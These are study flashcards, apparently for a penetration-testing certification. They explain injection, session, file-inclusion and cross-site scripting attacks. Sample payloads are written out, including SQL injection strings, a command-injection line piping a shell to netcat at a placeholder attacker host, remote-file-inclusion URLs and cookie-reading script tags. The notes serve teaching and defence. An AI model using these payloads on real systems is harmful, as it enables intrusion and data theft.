Chapter 09: Exploiting Application Vulnerabilities Flashcards
tli
Injection Vulnerabilities
One of the primary mechanisms pentesters use to break through web apps and gain access to the systems supporting the app
Often, the vulnerabilities allow attackers to supply code to the web app as input and trick the web server into either executing that code or supplying it to another server to execute
Input Validation
Input whitelisting is most popular
Devs describe the exact type of input that’s expected from a user and then verifies that the input matches the spec before passing it to other processes or servers
Opposite is input blacklisting where devs describe the potentially malicious input that must be blocked
Parameter Pollution
Sends a web app more than one value for the same input variable
EX: A web app might have a variable named “account” that’s specified in a URL like
hxxp://mycompany[.]com/status.php?account=12345
Attackers can attempt to exploit by injecting SQL code into the app:
hxxp://mycompany[.]com/status.php?account=12345’ OR 1=1;–
This is a suspicious entry though and will likely be blocked. So, attackers might pollute parameters with double variables:
hxxp://mycompany[.]com/status.php?account=12345&account=12345’ OR 1=1’–
This is banking on the hope that the web app won’t handle the URL properly, and performs validation only on the first parameter but then executes the second and lets the injection slip through
SQL Injection Basics
Basic SQL Parameters
* Select = Read
* Insert = Write
* Delete = Remote
* Update = Overwrite
Injection
Injects a SQL query through the input form a client uses to send data to a web app
* Attackers try to insert paramters or code into the SQL statement to query the database
* This whole process can be automated by attackers with tools that focus on SQL injection and exploit
To Do This
Attackers can inject their input:
* As URL parameters
* Entering data into form fields
* Modifying cookies
* Changing POST data
* Using HTTP headers
EXAM NOTE
* Any time you see something with an apostraphe and something = something, it’s SQL injection
* Log entry can be anything, as long as it returns true (A=A, 15=15, etc)
* Prevent with input validation or sanitization
* WAF can be used to prevent since it can perform input validation
* If question involves database, SQL, because most common db attack is SQL injection
Blind SQL Injection
Used to conduct an attack even when they don’t have the ability to view results directly. Two forms:
Boolean Blind SQL Injection
* Attacker sends input to the web app that tests whether the app is interpreting injected code before attempting to carry out an attack
* EX: Page 317-318
* Sometimes a query will only display the first row of results, but that doesn’t mean the attack was unsuccessful
* EX: Instead of 1=1 you can do 2=1
* If the app is vulnerable to Boolean SQL injection it won’t return any results because 1 never equals 2
* If an attacker sees a page with fields but zero results, they can be pretty confident it’s vulnerable to Boolean blind SQL
Timing-Based Blind SQL Injection
* Similar to boolean but with time delay parameters
* EX: WAITFOR DELAY ‘00:00:15’; –
* This instructs the DB to wait 15 seconds before performing the next action
* If the web app immediately returns a result, it’s probably not vulnerable to time-based SQL and vice versa
Page 317-319
Code Injection
General category of attacks
Seek to insert attacker-written code into the legitimate code creaed by web app devs
Any environment that inserts user-supplied input into code written by an app dev may be vulnerable to a code injection attack
EX: SQL, XSS, etc
DION NOTES
Inserts additional information or code through a data input form from a client to an application
Command Injection
Sometimes app code reaches back to the OS in order to execute a command
Attackers can exploit this and gain the ability to directly manipulate the OS
DION NOTES
Occurs when a threat actor executes arbitrary shell commands on a host via a vulnerable web app
diontraining[.]com && /bin/sh | nc hacked[.]diontraining[.]com 443
Page 319-320
LDAP Injection Attack
Lightweight Directory Access Protocol Attack
LDAP is a directory services protocol used by MS AD and other IAM systems
LDAP provides a query-based interface to allow other services to obtain information from the LDAP DB
The interface also exposes LDAP to injection attacks similar to the way that DBs are vulnerable to SQL injection
LDAP injection attempst to insert additonal code into LDAP queries to either allow attackers to retrieve unauthorized information or bypass auth mechanisms
Input validation and escaping techniques that protect against SQL also protect against this
DION NOTES
Targets web-based apps by fabricating LDAP statements typically created by user input
* If an app uses LDAP as part of the user login process, an attacker could perform an injection to search for users on the server
string ldapSearch = “(cn = $searchName”)”;
System.out.printIn(ldapSearch);
* You could enter a wildcard into the username field and it would be inserted as the search parameter and display all users on the system to your screen
Session Fixation
A variant of session hijack that exploits apps that use the same session ID across user sessions instead of expiring it after each session
Attackers can obtain access to a user account by following a series of steps:
* Obtain an old session ID, whether it’s stored in an authentication cookie or passed in a URL argument or hidden form field
* Force the user to authenticate to the site by popping up a windows, sending a link, etc
* Use the session ID to authenticate to the remote service and obtain access to an account
Cookie Stealing and Manipulation
Attackers can get cookies by:
* Eavesdropping on unencrypted network connections and stealing a copy of the cookie as it’s transmitted between the user and the site
* Installing malware on a user’s browser that retrieves cookies and sends them back to the attacker
* MITM where the attacker fools user into thinking they are the target website and presents a fake auth form, then they can auth on user’s behalf and steal the cookie
Once the attacker has the cookie they can perform cookie manipulation to alter the details sent back to the site or they can just use it to gain access to a site
Insecure Direct Object Reference
When an attacker modifies an URL to reference other objects they shouldn’t be able to
hxxps://mycompany[.]com/GetDoc.php?docID=123
hxxps://mycompany[.]com/GetDoc.php?docID=456
hxxps://mycompany[.]com/GetDoc.php?docID=789
File Inclusion Attacks
An elevated directory traversal attack that allows attackers to go beyond retrieving a file from a local OS to execute code contained within a file
Local File Inclusion
* Executes code stored in a file located elsewhere on the web server
* Similar to directory traversal
* hxxps://mycompany[.]com/app.php?include=C:\\www\uploads\attack.exe
Remote File Inclusion
* Allows attacker to execute code stored on a remote server
* Especially dangerous because the attacker can directly control the code being executed without having to first store a file on the local server
* hxxps://mycompany[.]com/app.php?include=hxxp://evil.attacker[.]com/attack.exe
When attackers discover a file inclusion vulnerability they often exploit it to upload a web shell to the server
This allows them to execute commands on the server and view results in the browser, and provides access to the server over common HTTP(S) ports
DION NOTES
File inclusion allows an attacker to download a file from an arbitrary location or upload an executable or script file to open a backdoor
RFI
Executes a script to inject a remote file into the web app or the website
* NORMAL: diontraining[.]come/login.php?user=jason
* CHANGE TO: diontraining[.]come/login.php?hxxp://malware[.]bad/malicious.php
* By doing this you pass the URL of a malicious script that’s located on a different domain and trying to put that as a username when logging in
LFI
Adds a file to the web app or website that already exists on the hosting server
* EX: The website allows you to upload a picture, which gets saved on the server (like a headshot)
* Since that picture is on the server, you can reference it with directory references
General XSS
Injects a malicious script into a trusted site to compromise the site’s visitors
This is a powerful input validation exploit—if you don’t do input validation you will fall victim to this
Four Basic Steps of XSS
1. Attacker identifies input validation vulnerability within a trusted website
2. Attacker crafts a URL to perform code injection against the trusted website
3. Trusted site returns a page containing the malicious code injected as well as the regular site code
4. Malicious code runs in the client’s browser with permission level as the trusted site
The reason XSS is so dangerous is because it breaks the browser’s security and trust model, because a browser will assume that scripts it receives from a trusted site should be safe to run
Example
hxxps://diontraining[.]com/search?q=< script%20type=’application/javascript’> alert (‘xss’)</script >
* First line is the trusted website
* search?q= is normally used for a site to conduct a search for anything found after the =
* Third part replaces normal query with the script we want to insert
Server-Side
Both persistent and non-persistent XSS are sever-side scripting attacks
* The server is executing the scripts that were injected
Client-Side
DOM XSS is a client-side
Reflected XSS
Occurs when an app allows reflected input
EX: A web app that contains a single text box asking a user to input their name, and when they click submit it loads a new page that says “Hello NAME”
Input validation should be used to never allow SCRIPT tags in the reflected input field
DION NOTES
AKA non-persistent XSS
* This type of attack only occurs when it’s launched because you’re clicking on that link or entering it into browser
* Happens once, and then it stops
Page 332
DOM XSS
Document Object Model
Some variations of XSS hide the attack code within the DOM, which is a tool used by devs to manipulate web pages as objects
XSS attackers can then call the DOM method within the HTML code that retrieves the XSS attack
Devs should avoid including sensitive information in the DOM through the use of hidden elements—assume any information sent to a user is accessible to that user
DION NOTES
Exploits the client’s web browser using client-side scripts to modiy the content and layout of the web page
* The DOM is how things are displayed in the client’s browser
* By injecting scripts into the DOM, you can change this
* DOM XSS runs with the logged in user’s privileges of the local system
Example
hxxps://diontraining[.]com/index.html#default=< script>alert(document.cookie)</ script>
* Looks like non-persistent XSS, but the difference is in the payload
* Shows the contents of document.cookie
* When you see “document” it’s an indication you’re looking at the DOM
* In this example, we’re trying to access the cookie stores inside of the web browser’s DOM
* document.write, document.location, etc are much more dangerous
